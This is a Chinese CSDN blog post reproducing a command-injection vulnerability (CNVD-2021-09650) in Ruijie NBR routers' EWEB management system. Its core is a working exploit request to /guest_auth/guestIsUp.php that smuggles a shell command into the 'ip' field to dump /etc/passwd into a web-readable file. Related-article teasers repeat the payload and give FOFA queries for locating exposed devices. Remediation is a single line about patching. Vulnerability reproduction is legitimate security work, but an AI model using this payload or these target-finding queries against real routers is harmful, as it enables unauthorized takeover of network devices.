锐捷NBR路由器远程命令执行漏洞(CNVD-2021-09650）

最新推荐文章于 2024-06-11 21:38:27 发布
最新推荐文章于 2024-06-11 21:38:27 发布
阅读量1.3k 收藏 2
点赞数 1
分类专栏： 漏洞复现 文章标签： 网络 智能路由器 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_49025459/article/details/130615029
版权

漏洞描述

锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权限。

漏洞复现 

访问锐捷EWEB网管系统界面

使用HackBar执行payload

POST /guest_auth/guestIsUp.php
mac=1&ip=127.0.0.1|cat /etc/passwd > test.txt

然后访问页面 /guest_auth/test.txt 就可以看到命令执行的结果

 漏洞修复

厂商已发布了漏洞修复程序，请及时关注更新

仲瑿
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
CNVD-2021-09650：锐捷NBR路由器(guestIsUp.php)RCE漏洞复现 [附POC]
薛定谔嘚喵博客
11-15 1067
锐捷网络是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。锐捷NBR 路由器系统存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。
【漏洞复现】锐捷 EWEB auth 远程代码执行漏洞
qq_67810151的博客
03-26 465
锐捷 EWEB auth接口存在远程代码执行漏洞，未授权的攻击者可以通过该漏洞执行恶意命令，进而导致服务器失陷。
锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell
CCPxxxXxxx的博客
08-04 1万+
锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 + GetShell 漏洞编号： CNVD-2021-09650 漏洞描述：锐捷NBR路由器 EWEB网关系统部分接口存在命令注入，导致远程命令执行获取 漏洞影响： 锐捷NBR路由器 EWEB网关系统 漏洞复现： 首先打开网关系统 然后在URL后面加 /guest_auth/guestIsUp.php，此路径为漏洞存在地。 我们打开hacker Bar,在Post data 输入 mac=1&ip=127.0.0.1|cat /etc/pas
锐捷 NBR路由器 远程命令执行漏洞（CNVD-2021-09650）
孤桜懶契
04-14 1万+
漏洞描述 i ⭐锐捷NBR路由器 EWEB网管系统部分接口存在命令注入，导致远程命令执行获取权限 漏洞影响 s ✅锐捷NBR路由器 EWEB网管系统 空间测绘 d ⭕FOFA：title="锐捷网络-EWEB网管系统" ⭕FOFA：icon_hash="-692947551" 漏洞复现 ✅访问首页 ✅执行Payload命令 POST /guest_auth/guestIsUp.php mac=1&ip=127.0.0.1|cat /etc/passwd > test.tx
锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞(CNVD-2021-09650)——漏洞复现
最新发布
2301_76437855的博客
06-11 442
锐捷网络股份有限公司是一家拥有包括交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备产品线及解决方案的专业化网络厂商。公开日期：2021-09-19漏洞编号：CNVD-2021-09650危害等级：高危漏洞描述：锐捷NBR路由器存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权。
锐捷NBR路由器命令执行漏洞复现
weixin_48421613的博客
05-10 5198
锐捷NBR路由器命令执行漏洞 首先先看看页面的样子 2. 这里需要注意的是，由于权限问题，厂商使用的cookie为用户名密码加密使用，什么意思呢？ 经过测试，当密码输入错误的时候，部分型号nbr路由器仅能执行show version，甚至有些不能执行任何命令。但是当用户名密码正确，生成正确的cookie的时候，即可执行符合路由器规则的命令 此时可以执行上述的命令 传统武学点到为止，那么是什么导致这个命令执行漏洞产生呢？ 可以看见，这里会检测系统cpu以及内存，与系统交互的时候并没有严格的过滤掉其他命令
锐捷EG易网关与NBR路由器命令执行漏洞-2
热门推荐
1stPeak's Blog
08-09 1万+
锐捷EG易网关与NBR路由器——命令执行漏洞
锐捷NBR路由器fileupload.php任意文件上传漏洞
xiaokp7的博客
09-13 1526
锐捷NBR路由器是锐捷网络科技有限公司推出的一款高性能企业级路由器。NBR是"Next-Generation Broadband Router"的缩写，意为"下一代宽带路由器"。该路由器具有强大的处理能力和丰富的功能，适用于中小型企业、校园网络和数据中心等场景。锐捷 NBR 路由器 存在任意文件上传漏洞，可能导致执行恶意代码、服务器拒绝服务、数据泄露、网站篡改和横向渗透等危害。
Goby 漏洞更新｜锐捷网络 NBR路由器 webgl.data 信息泄露漏洞
m0_46699477的博客
05-27 2005
锐捷网络NBR700G路由器是锐捷网络股份有限公司的一款无线路由设备。锐捷网络NBR700G路由器存在信息漏洞，攻击者可利用该漏洞获取敏感信息。
CNVD-2021-17369 smartweb管理系统管理员密码泄露.md
04-11
CNVD-2021-17369 smartweb管理系统管理员密码泄露
锐捷睿易RG-NBR700好不好用？锐捷睿易RG-NBR700 smart路由器详细评测
10-01
锐捷网络旗下锐捷睿易子品牌公开轻量化smart新家族，是一款性能强劲、使用简便、功能丰富的有针对性的smart系列上网行为管理路由器，下面评测就是其中一款锐捷睿易RG-NBR700，希望对大家有帮助
RG-NBR系列网关设置WEB版，CONSOLE版，TELNET版。
06-15
第一手资源欢迎交流，学习。WEB版，CONSOLE版，TELNET版。
锐捷路由器配置命令完美宝典
10-01
了解并掌握锐捷路由器的配置命令对于网络管理员来说至关重要。以下是对锐捷路由器配置命令的详细解析： 1. **基本配置命令**： - `#Exit`：退出当前配置模式，返回上一级。 - `#del flash:config.text`：在交换机...
锐捷NBR路由器配置指南
03-04
锐捷NBR路由器配置指南这一章将给出NBR功能快速配置说明，其中通过几个典型应用示例的配置过程来说明，用户可以对照自己的应用模式进行类比配置。如果用户需要更进一步的配置，请参考NBR功能高级配置部分的说明。...
锐捷路由器配置命令大全.txt
07-13
>Enable 进入特权模式 #Exit 返回上一级操作模式 #del flash:config.text 删除配置文件(交换机及1700系列路由器) #erase startup-config 删除配置文件(2500系列路由器) #write memory 或copy running-config startup...
【1day】复现锐捷 NBR 路由器 存在任意文件上传漏洞
记录并分享学习安全的知识点..
08-21 929
锐捷NBR路由器是锐捷网络科技有限公司推出的一款高性能企业级路由器。NBR是"Next-Generation Broadband Router"的缩写，意为"下一代宽带路由器"。该路由器具有强大的处理能力和丰富的功能，适用于中小型企业、校园网络和数据中心等场景。锐捷 NBR 路由器 存在任意文件上传漏洞，可能导致执行恶意代码、服务器拒绝服务、数据泄露、网站篡改和横向渗透等危害。
锐捷 EWEB auth 远程命令执行漏洞复现
selecthch的博客
03-12 1173
锐捷睿易是锐捷网络针对商业市场的子品牌。拥有易网络、交换机、路由器、无线、安全、云服务六大产品线，解决方案涵盖商贸零售、酒店、KTV、网吧、监控安防、物流仓储、制造业、中小教育、中小医疗、中小政府等商业用户。auth接口存在RCE漏洞，恶意攻击者可能会利用该漏洞执行恶意命令，进而导致服务器失陷。漏洞名称：锐捷 EWEB auth 远程命令执行漏洞。漏洞类别：远程代码执行。
锐捷路由器漏洞分析
banghengxun2661的博客
05-17 3815
0x00 前言 今早看到关于锐捷路由器漏洞CNVD-2018-06947 被披露POC，对于POC进行复现后，继续挖掘路由器漏洞。 0x01 复现 通过测试发现POC只能执行VERSION，也就是查看版本。复现的截图如下： 这个命令执行只能查看版本的感觉不太过瘾，只好尝试去挖掘漏洞。 0x02 漏洞挖掘 在NBR1300G-E存在COOKIE会话固定漏洞，利用这个漏洞结...
锐捷eg网关与nbr路由器命令执行漏洞
07-29
锐捷EG网关和NBR路由器是锐捷公司生产的网络设备，近期被曝出存在命令执行漏洞。 该漏洞的存在使得攻击者能够通过特制的网络请求执行恶意命令，从而导致系统被入侵和控制。其中锐捷EG网关的漏洞编号为CVE-2017-17408，而NBR路由器的漏洞编号为CVE-2017-17409。 攻击者可以通过发送恶意的HTTP请求或者其他网络请求来利用这些漏洞。一旦成功利用，攻击者可以执行任意命令并获取系统权限。这些命令可能包括修改配置、获取敏感信息或者部署其他恶意软件等。 这些漏洞的存在给网络安全带来了潜在的威胁。攻击者可以通过利用这些漏洞对网络设备进行攻击，窃取敏感信息、破坏网络服务或者入侵其他网络设备。 为了解决这些漏洞的问题，锐捷公司已经发布了相应的安全补丁，并且建议用户尽快升级相关设备的固件版本。同时，用户还应该加强网络设备的安全配置，限制对设备的网络访问、设置强密码、及时备份设备配置等。 作为网络设备的用户，我们也应当关注设备厂商的安全公告，定期检查更新并安装相关补丁。此外，加强网络设备的监控和日志记录，及时发现和防范异常行为也是非常重要的。 总之，锐捷EG网关与NBR路由器命令执行漏洞的曝光提醒我们网络安全问题的重要性，需要及时采取相应的措施来保护网络设备和数据的安全。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值